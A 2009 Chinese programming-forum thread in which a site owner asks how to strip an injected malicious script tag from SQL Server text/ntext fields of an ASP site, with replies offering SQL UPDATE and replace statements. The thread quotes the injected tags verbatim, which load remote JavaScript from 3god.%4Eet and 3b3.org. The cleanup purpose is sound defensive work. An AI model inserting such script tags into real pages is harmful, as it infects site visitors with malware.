替换text ntext 应该怎么写 高手指教

woicao 2009-08-31 10:21:56
text ntext 让人挂了马 替换老出错误


new_focustext=replace(new_focustext,"<script src=http://3god.%4Eet/c.js></script>","")
这条SQL语句应该怎么改那?
我是写的ASP程序 替换
高手指点下
...全文
53 7 打赏 收藏 转发到动态 举报
写回复
用AI写文章
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
number123456 2009-08-31
  • 打赏
  • 举报
回复
text ntext 貌似无法在数据库直接Replace
yanniu008 2009-08-31
  • 打赏
  • 举报
回复
上次写的那个清除的脚本,是针对JS是在内容的最后部分。
这次的脚本可以清除在内容中间的JS:
update 表名 set 字段=left(字段,charindex('<script>',字段)-1) + stuff(字段,1,charindex('</script>',字段)+8,'')

上面的脚本只是针对字段为varchar类型的,如果是text类型的话就会报错,那么怎么办呢:
update 表名 set 字段=left(cast(字段 as varchar(8000)),charindex('<script>',cast(字段 as varchar(8000))-1) + stuff(cast(字段 as varchar(8000)),1,charindex('</script>',cast(字段 as varchar(8000)))+8,'')
如果是sqlserver2005可以用varchar(max).
yanniu008 2009-08-31
  • 打赏
  • 举报
回复
update 表名 set 字段名=substring(字段名,0,charindex('<script',字段名)) where 字段名 like '%<script src=http://3b3.org/c.js></script>%'
lzp4881 2009-08-31
  • 打赏
  • 举报
回复
update [表] set [字段]=replace(cast([字段] as varchar(8000)),'源字符串','')
sumjor 2009-08-31
  • 打赏
  • 举报
回复
new_focustext=replace(new_focustext," <script src=http://3god.%4Eet/c.js> </script>","")
这个是把<script src=http://3god.%4Eet/c.js> </script> 替换为空 你想替换成什么 就这样。。
new_focustext=replace(new_focustext," <script src=http://3god.%4Eet/c.js> </script>","(要替换的)")
不知道对不对
woicao 2009-08-31
  • 打赏
  • 举报
回复
替换new_focustext里的 </script src=http://3god.%4Eet/c.js> </script>"
sumjor 2009-08-31
  • 打赏
  • 举报
回复
要替换成什么??

28,391

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧